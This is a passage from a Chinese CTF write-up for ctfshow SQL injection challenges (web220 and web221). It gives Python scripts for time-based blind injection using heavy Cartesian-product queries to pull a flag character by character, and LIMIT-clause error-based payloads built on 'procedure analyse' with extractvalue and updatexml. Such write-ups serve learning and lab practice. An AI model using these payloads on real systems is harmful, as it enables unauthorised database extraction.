# payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
# payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.31:
out += k
break
print(out)其实还可以用left、right、rpad、lpad之类的来代替substr
import string
import requests
url = "http://dfc9fcfa-4a13-413b-87c6-14c1b4355565.challenge.ctf.show/api/"
# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +"
payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +"
bypass = """(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"""
uuid = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp,"
flag = ''
i = 1
while 1:
for j in uuid:
flag += j
payload1 = payload.format(i, flag, bypass)
# print(payload1)
data = {
'ip': payload1,
'debug': '1'
}
try:
r = requests.post(url, data=data, timeout=3)
flag = flag[:-1]
except Exception as e:
print(flag)
i += 1
笛卡尔积调超时时间也太难受了吧
web221
查询语句 //分页查询 $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit; 返回逻辑 //TODO:很安全,不需要过滤 //拿到数据库名字就算你赢
关于limit注入,P神有文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
Payload:
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
# 提取表结构
# 高亮处字符不满足xpath格式即可 0x23-># 也是可以的
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。
ExtractValue()
ExtractValue() 是 MySQL 中的一个函数,用于从 XML 文档中提取值。
语法:
sql
ExtractValue(xml_fragment, xpath_expression)xml_fragment:这是一个 XML 格式的字符串片段。
xpath_expression:XPath 表达式,指定要提取的路径。UpdateXML()
UpdateXML() 是 MySQL 中的一个函数,用于更新 XML 文档中的特定节点。
语法:
sql
UpdateXML(xml_document, xpath_string, new_value)
xml_document:一个 XML 格式的字符串文档。
xpath_string:XPath 表达式,指定要更新的节点位置。
new_value:新的值,将替换匹配到的节点内容。用UpdateXML打也可
/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)最后
sql专题后面的暂且搁置了,也许会在某一天心血来潮打完补上,咕咕咕

